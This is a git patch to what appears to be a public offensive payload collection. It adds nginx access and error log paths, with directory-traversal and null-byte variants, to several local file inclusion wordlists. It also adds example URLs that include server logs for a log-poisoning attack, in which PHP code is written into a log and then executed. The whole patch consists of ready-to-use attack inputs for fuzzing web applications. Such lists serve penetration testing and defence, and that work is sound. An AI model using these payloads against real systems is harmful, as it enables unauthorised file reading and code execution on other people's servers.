From f5702467d645ef611f0a01d3a2b9c1271e7d3c38 Mon Sep 17 00:00:00 2001 From: Jonas Wendorf <15037703+jonasw234@users.noreply.github.com> Date: Thu, 30 May 2019 12:01:24 +0200 Subject: [PATCH] Add nginx log files for LFI log poisoning --- Directory Traversal/README.md | 2 ++ File Inclusion/Intruders/JHADDIX_LFI.txt | 12 ++++++++++++ File Inclusion/Intruders/Linux-files.txt | 6 +++++- .../Intruders/List_Of_File_To_Include.txt | 14 ++++++++++++++ .../List_Of_File_To_Include_NullByteAdded.txt | 4 ++++ File Inclusion/Intruders/Mac-files.txt | 4 +++- File Inclusion/README.md | 2 ++ 7 files changed, 42 insertions(+), 2 deletions(-) diff --git a/Directory Traversal/README.md b/Directory Traversal/README.md index 7de4fc1..b746ffa 100644 --- a/Directory Traversal/README.md +++ b/Directory Traversal/README.md @@ -111,6 +111,8 @@ The following log files are controllable and can be included with an evil payloa /var/log/httpd/error_log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log +/var/log/nginx/access.log +/var/log/nginx/error.log /var/log/vsftpd.log /var/log/sshd.log /var/log/mail diff --git a/File Inclusion/Intruders/JHADDIX_LFI.txt b/File Inclusion/Intruders/JHADDIX_LFI.txt index 6f10e3f..75b0632 100644 --- a/File Inclusion/Intruders/JHADDIX_LFI.txt +++ b/File Inclusion/Intruders/JHADDIX_LFI.txt @@ -666,6 +666,18 @@ users/.htpasswd /var/log/news/news.notice /var/log/news/suck.err /var/log/news/suck.notice +/var/log/nginx/access_log +/var/log/nginx/access.log +../../../../../../../var/log/nginx/access_log +../../../../../../../var/log/nginx/access.log +../../../../../var/log/nginx/access_log +../../../../../var/log/nginx/access.log +/var/log/nginx/error_log +/var/log/nginx/error.log +../../../../../../../var/log/nginx/error_log +../../../../../../../var/log/nginx/error.log +../../../../../var/log/nginx/error_log +../../../../../var/log/nginx/error.log /var/log/poplog /var/log/POPlog /var/log/proftpd diff --git a/File Inclusion/Intruders/Linux-files.txt b/File Inclusion/Intruders/Linux-files.txt index 601422b..c43cc4a 100644 --- a/File Inclusion/Intruders/Linux-files.txt +++ b/File Inclusion/Intruders/Linux-files.txt @@ -55,4 +55,8 @@ /var/log/apache/error.log /var/log/apache/error_log /var/log/httpd/error_log -/var/log/httpd/access_log \ No newline at end of file +/var/log/httpd/access_log +/var/log/nginx/access_log +/var/log/nginx/access.log +/var/log/nginx/error_log +/var/log/nginx/error.log \ No newline at end of file diff --git a/File Inclusion/Intruders/List_Of_File_To_Include.txt b/File Inclusion/Intruders/List_Of_File_To_Include.txt index 884f448..0ad6dcb 100644 --- a/File Inclusion/Intruders/List_Of_File_To_Include.txt +++ b/File Inclusion/Intruders/List_Of_File_To_Include.txt @@ -765,6 +765,20 @@ php://input /var/log/mysql/mysql-slow.log /var/log/mysql/mysql-slow.log /var/log/mysql/mysql-slow.log%00 +/var/log/nginx/access_log +/var/log/nginx/access_log +/var/log/nginx/access_log +/var/log/nginx/access.log +/var/log/nginx/access.log +/var/log/nginx/access_log%00 +/var/log/nginx/access.log%00 +/var/log/nginx/error_log +/var/log/nginx/error_log +/var/log/nginx/error.log +/var/log/nginx/error.log +/var/log/nginx/error.log +/var/log/nginx/error_log%00 +/var/log/nginx/error.log%00 /var/log/proftpd /var/log/proftpd /var/log/proftpd%00 diff --git a/File Inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt b/File Inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt index d4f2edf..4f764a8 100644 --- a/File Inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt +++ b/File Inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt @@ -41,6 +41,10 @@ /var/log/httpd/error_log%00 /var/log/httpd/access_log%00 /var/log/httpd/error_log%00 +/var/log/nginx/access_log%00 +/var/log/nginx/access.log%00 +/var/log/nginx/error_log%00 +/var/log/nginx/error.log%00 /apache/logs/error.log%00 /apache/logs/access.log%00 /apache/logs/error.log%00 diff --git a/File Inclusion/Intruders/Mac-files.txt b/File Inclusion/Intruders/Mac-files.txt index 9a1dd69..99fdad9 100644 --- a/File Inclusion/Intruders/Mac-files.txt +++ b/File Inclusion/Intruders/Mac-files.txt @@ -3,4 +3,6 @@ /private/var/log/appstore.log /var/log/apache2/error_log /var/log/apache2/access_log -/usr/local/nginx/conf/nginx.conf \ No newline at end of file +/usr/local/nginx/conf/nginx.conf +/var/log/nginx/error_log +/var/log/nginx/access_log \ No newline at end of file diff --git a/File Inclusion/README.md b/File Inclusion/README.md index 3610363..6c54db9 100644 --- a/File Inclusion/README.md +++ b/File Inclusion/README.md @@ -253,6 +253,8 @@ Just append your PHP code into the log file by doing a request to the service (A ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log +http://example.com/index.php?page=/var/log/nginx/access.log +http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail